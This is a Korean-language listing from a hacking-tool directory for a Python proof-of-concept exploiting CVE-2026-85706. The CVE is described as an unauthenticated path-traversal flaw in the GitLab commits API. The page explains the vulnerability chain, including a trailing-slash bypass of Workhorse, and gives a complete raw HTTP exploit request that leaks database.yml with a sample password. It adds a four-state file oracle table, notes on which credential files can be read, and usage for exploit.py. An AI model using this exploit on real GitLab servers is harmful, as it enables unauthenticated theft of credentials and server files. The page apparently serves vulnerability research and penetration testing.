Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-85706 — CVE-2026-85706에 대한 Python PoC로, GitLab CE/EE Repository Commits API의 인증되지 않은 경로 순회 취약점으로, 4가지 상태 오라클을 통해 임의의 로컬 파일을 유출합니다. | Kitploit
도구/GitHubGitHub/mhtsec/cve-2026-85706
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration Testing
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

CVE-2026-85706에 대한 Python PoC로, GitLab CE/EE Repository Commits API의 인증되지 않은 경로 순회 취약점으로, 4가지 상태 오라클을 통해 임의의 로컬 파일을 유출합니다.

저장소 보기
111시간 22분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-85706: GitLab CE/EE 비인가 경로 순회

  • CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • 구성 요소: GitLab CE/EE Repository Commits API (Workhorse body-upload 변형)
  • 영향: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
  • 수정: 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10 긴급 패치 릴리스)
  • 위험: 계정이 전혀 필요 없이 경로 순회로 서버의 임의 로컬 파일을 읽음; 내용이 응답에 반영되는지는 대상 파일에 따라 달라지며, 4가지 상태 oracle을 구성함 (「응답 반영 경계」 참조)

취약점 체인

GitLab의 「commit 생성」 API(POST /api/v4/projects/:id/repository/commits)는 단일 요청에 대량의 파일 내용을 담을 수 있도록 허용한다. 대용량 요청 본문이 Rails 파서로 직접 들어가는 것을 피하기 위해 Workhorse는 먼저 요청 본문을 임시 파일로 디스크에 기록한 뒤, file.path / file.size 등의 메타데이터를 전달 요청에 주입하고, Rails 엔드포인트는 이 파라미터를 기준으로 파일을 다시 읽는다. 취약점 체인은 네 가지 요소가 겹쳐서 발생한다:

  1. 파일 읽기 이후에 인증 수행: post ':id/repository/commits' 진입점에는 require_gitlab_workhorse!만 있고(「Workhorse를 통해 전달되었는지」만 검증), 실제 authenticate!는 뒤쪽의 authorize_push_to_branch!에 숨어 있으며, 경로 순회 읽기는 그보다 먼저 발생한다.
  2. 디스크 기록 메타데이터가 요청 파라미터에서 추출됨: file_params_from_body_upload는 요청 파라미터 file.path / file.size / Content-Type을 Workhorse가 주입한 메타데이터로 그대로 간주하며, 파라미터 출처를 구분하지 않으므로 File.read(file_path)로 임의의 로컬 경로를 순회할 수 있다.
  3. Rack 파싱 오류 응답 반영: Content-Type=application/x-www-form-urlencoded일 때 파일 내용이 Rack::Utils.parse_nested_query로 전달되어 파싱된다. 내용 중 잘못된 %-시퀀스가 ArgumentError: invalid %-encoding (<컴포넌트 내용>)을 유발하고, bad_request!를 거쳐 400 응답에 그대로 반영된다. 반영은 선착순: & / =는 컴포넌트 경계이며, 파싱은 첫 번째 잘못된 %가 위치한 컴포넌트에서 중단되고 해당 컴포넌트를 반영한다. 구분자가 없으면 전체 파일이 하나의 컴포넌트로 통째로 반영된다(정상적인 %xx 16진수 이스케이프는 오류를 유발하지 않음).
  4. 후행 슬래시로 Workhorse 재작성 우회: 메인 엔드포인트를 직접 호출하면 Workhorse의 body-upload 인터셉트(엄격히 .../repository/commits\z 매칭)에 걸려 위조 파라미터가 디스크에 기록된 파일 내용에 삼켜진다. URL 끝에 /를 붙이면 해당 규칙에 매칭되지 않아 폴백 서명 리버스 프록시로 빠지며, 원본 요청 본문이 위조 파라미터와 함께 그대로 Rails로 전달되고 유효한 JWT를 지니므로 require_gitlab_workhorse!를 통과한다. Grape가 후행 슬래시를 정규화한 후에도 여전히 취약한 handler에 매칭된다.

전제 조건: URL의 :id는 실제 존재하는 프로젝트여야 한다(임의의 공개 프로젝트면 충분). 전 과정에서 로그인이 필요 없다.

익스플로잇 요청 (외부 DB 배포 환경의 database.yml, 비밀번호에 잘못된 % 시퀀스가 있으면 전체가 반영됨):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

응답 (첫 번째 잘못된 %가 위치한 컴포넌트 전체가 반영됨):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

응답 반영 경계 (4가지 상태 oracle)

읽기는 Puma 프로세스의 git 사용자 권한으로 실행되며, 응답은 4가지 상태 oracle을 구성한다:

기본 배포 환경에서의 실제 읽기 가능 범위 (실측):

  • 내용 읽기의 주 전장은 자연적으로 %를 포함하는 파일이다: CI 빌드 로그와 산출물, 사용자 업로드 첨부 파일, 외부 DB 배포의 database.yml. database.yml은 기본 로컬 socket peer 인증에서는 비밀번호 필드가 비어 있으며, 외부 DB 배포에서만 값이 존재한다.
  • gitlab.yml: 렌더링된 템플릿 주석이 파일 헤더(약 19번째 줄)에 95%, %{key} 등의 시퀀스가 존재하는데, 자격 증명 설정(incoming_email, LDAP, 오브젝트 스토리지 등)은 모두 170번째 줄 이후에 있다 — 선착순이라는 특성상 기본 배포에서는 헤더 부분만 반영되고 자격 증명 부분은 읽을 수 없다; 방해 시퀀스가 없는 배포 변형(커스텀 템플릿 등)에서만 읽을 수 있다. 또한 SMTP 비밀번호(gitlab_rails['smtp_password'])는 gitlab.yml에 렌더링되지 않으며, 실제로 렌더링되는 것은 incoming_email, LDAP, object_store 자격 증명이다.
  • secrets.yml은 순수 hex로 %를 포함하지 않아 내용을 읽을 수 없다(401); gitlab.rb, TLS 개인 키, 백업 아카이브는 root 전용이다(500 oracle만 가능).
  • 4가지 상태 oracle 자체도 정찰 프리미티브다: 내부 경로 구조 탐지, /proc/self/* 프로세스 자기 관찰, 프로젝트 ID로 경로를 환산하여 비공개 프로젝트 존재 여부 탐지.

스크립트 사용법

Python 3 표준 라이브러리로 구현되었으며 서드파티 의존성이 없다. 스크립트는 위 표에 따라 4가지 상태 결과를 자동으로 판독한다.

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # 기본적으로 gitlab.yml 읽기 (빠른 반영 검증)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

출력 예시 (기본 배포에서 gitlab.yml 읽기 — 자격 증명 부분이 아닌 헤더 부분이 반영됨):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

인가된 보안 테스트 및 취약점 연구 목적으로만 사용하십시오.

도구 다운로드
응답의미예시
400 local file not present파일이 존재하지 않음/etc/nonexistent
500 Internal Server Error존재하지만 git 사용자가 읽을 권한이 없음(Errno::EACCES 미처리); multipart 분기에서 읽을 수 있는 파일의 파싱 오류도 마찬가지로 500으로 귀결됨/etc/shadow, /etc/gitlab/gitlab-secrets.json
401 Unauthorized존재하고 읽을 수 있지만 내용에 잘못된 % 시퀀스가 없어 반영되지 않음/etc/passwd, /proc/self/environ
400 invalid %-encoding (<내용>)존재하고 읽을 수 있으며 잘못된 % 시퀀스를 포함 — 해당 컴포넌트 전체가 반영됨%를 포함한 로그, CI 빌드 산출물, 외부 DB의 database.yml
@hashed
파라미터설명
-t대상 GitLab 주소 (필수), 예: http://<target>:<port>
-f읽을 절대 경로 (기본값 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
-p프로젝트 ID, 실제 존재하는 임의의 프로젝트면 충분 (기본값 1)
-o읽어낸 내용을 로컬 파일로 저장